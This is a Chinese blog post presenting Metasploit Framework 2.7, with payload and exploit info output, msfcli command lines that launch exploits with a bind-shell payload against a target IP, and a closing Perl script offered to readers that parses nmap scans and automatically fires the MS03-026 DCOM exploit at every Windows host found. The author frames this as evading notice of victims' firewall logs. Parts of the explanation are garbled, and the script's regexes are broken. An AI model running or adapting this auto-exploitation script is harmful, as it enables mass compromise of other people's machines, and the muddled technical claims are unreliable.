metasploit Framework 2.7 简要研究报告

metasploit Framework 2.7  
好久没在这里发帖子了,今天把我最近刚研究的成果发布下,大家不要见笑啊!~
这里要说的是工具是一款非常棒的溢出漏洞利用工具——metasploit
以下是我在鹰盟IDF实验室的一篇简要研究报告,好不好大家用用就知道了!~

metasploit Framework 2.7
    metasploit Framework 2.7是一款溢出漏洞利用工具,虽然最新版本是3.0,但经过测试使用,发现3.0实际应用价值不高,且相比较2.7使用难度较高,始终不是很理想。
    在metasploit Framework 2.7集中了大量的操作系统、网络软件及各种应用软件的漏洞。但经过一段时间的使用与试验,发现好像过时的东西比较多一些,有些甚至连操作系统说明都出现了错误(info exploits)。当然,它毕竟是少数嘛,不能否认,metasploit Framework 2.7还是一款很不错的工具,设计思想明确、设计使用方法简单易学。
    在metasploit Framework 2.7中,本来应该有3大结构:Exploits、Payloads、Sessions,但metasploit Framework 2.7用户大多数仅承认两大结构:Exploits和Payloads。是的,它们是都很重要,它们的交互运行,就像缺一不可的两兄弟一样,功能最强大,但因此忽视Sessions那就太不应该了。
    metasploit Framework 2.7本身就是一个开放源码的工具,对于高手来说,可以调出源码进行研究或再编译,就好比payload win32_bind,当我们运行metasploit Framework 2.7,并察看payload win32_bind,仅能看到一些常规说明:

msf > info win32_bind

       Name: Windows Bind Shell
    Version: $Revision: 2067 $
     OS/CPU: win32/x86
Needs Admin: No
Multistage: No
Total Size: 317
       Keys: bind

Provided By:
    vlad902 <vlad902 [at] gmail.com>

Available Options:
    Options:    Name        Default    Description
    --------    --------    -------    ------------------------------------------
    required    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
    required    LPORT       4444       Listening port for bind shell

Advanced Options:
    Advanced (Msf::Payload::win32_bind):
    ------------------------------------

Description:
    Listen for connection and spawn a shell

    它很直观地告诉我们payload win32_bind的所有常规信息,使我们准确的把握到是否有关使用它以及何时、如何使用它,但无法说明它的运行原理,这就需要我们对它进行反编译了。经过我们再编译后,其关键利用代码就是:

my $msfarg = `./msfcli maxdb_webdbm_get_overflow RHOST=$ip TARGET=0 PAYLOAD=win32_bind E`;
If you see in the comment 'target 0-2' for example write the code this way:
for(0..2) {
my $msfarg = `./msfcli trackercam_phparg_overflow RHOST=$ip TARGET=$_ PAYLOAD=win32_bind E`;
}
If there is just one argument for example 'target 0' or 'payload win32_bind' just do as it says
my $msfarg = `./msfcli arkeia_agent_access RHOST=$ip TARGET=0 E`;

    不难看出,有两个常量“RHOST”和“E”,“RHOST”总是值“$ip”,“E”是一个冲突常量msfcli,冲突的结果会导致一个shell,这个shell是具有很高权限的。
又比如apache_chunked_win32:

msf > info apache_chunked_win32

Name: Apache Win32 Chunked Encoding
Class: remote
Version: $Revision: 1.44 $
Target OS: win32, win2000, winnt, win2003, winxp
Keywords: apache
Privileged: Yes
Disclosure: Jun 19 2002

Provided By:
H D Moore <hdm [at] metasploit.com>

Available Targets:
Windows Generic Bruteforce
Apache.org Build 1.3.9->1.3.19
Apache.org Build 1.3.22/1.3.24
Apache.org Build 1.3.19/1.3.24
Apache.org Build 1.3.22
Apache.org Build 1.3.17->1.3.24 (Windows 2000)
Apache.org Build 1.3.17->1.3.24 (Windows NT 4.0)

    它的可怕之处在于,可以在开启了对应服务版本的前提下,查询所有数据。因为本地计算机可以自己识别并连接远程计算机系统,所以它的运行速度更快、更可靠,就像我们发送、接收E-mail和断点续传下载文件一样。唯一需要我们另行方法解决的是,对方防火墙安全日志还是会毫不留情的纪录下我们的一举一动。

    最后,再赠送大家一段源代码,应用系统是Windows 2000,大家可以自己进行属于自己的个性化再编译:

use strict;
my ($IP,$temp);
my (@portbans,@hosts);
#system("nmap @ARGV -sV -oX log.txt");
open(FH, "log.txt") or die "Something unpredictable happened: $!";
while(<FH>) {
if(m/addr=/"(/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3})/"/) {
if($IP) {
foreach (@portbans) {
$temp = "$IP#$_"; # . == alt+0134
push(@hosts, $temp);
$temp = undef;
}
}
$IP = $1;
@portbans=();
}
else {
if (m/(/d{1,5}).*open/) {
$temp = $1;
if(m/name=/"(.*)/"/smethod=/) {
split(/product=|"|version=|extrainfo=|devicetype=|ostype=/, $1);
@_ = split(//s{2,11}/, "@_");
$temp = "$temp#@_";
push(@portbans, $temp);
$temp = undef;
}
}
}
}
close FH;
if($IP) {
foreach (@portbans) {
$temp = "$IP#$_";
push(@hosts, $temp);
$temp = undef;
}
}
foreach my $host (@hosts) {
my ($ip,$port,$banner) = split(/#/, $host);
if($banner =~ /Microsoft Windows msrpc/) {
print "[+] Trying to exploit $ip on $port using msrpc_dcom_ms03_026/n";
open(my $fh,'-|',"./msfcli msrpc_dcom_ms03_026 RHOST=$ip RPORT=$port PAYLOAD=win32_bind E") or die $!;
while(<$fh>) {
# print $_;
if($_ =~ /Copyright 1985-2001 Microsoft Corp/) {
print "Exploiting is successful/n";
last;
close $fh;
}
}
}
}

——Sdear
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值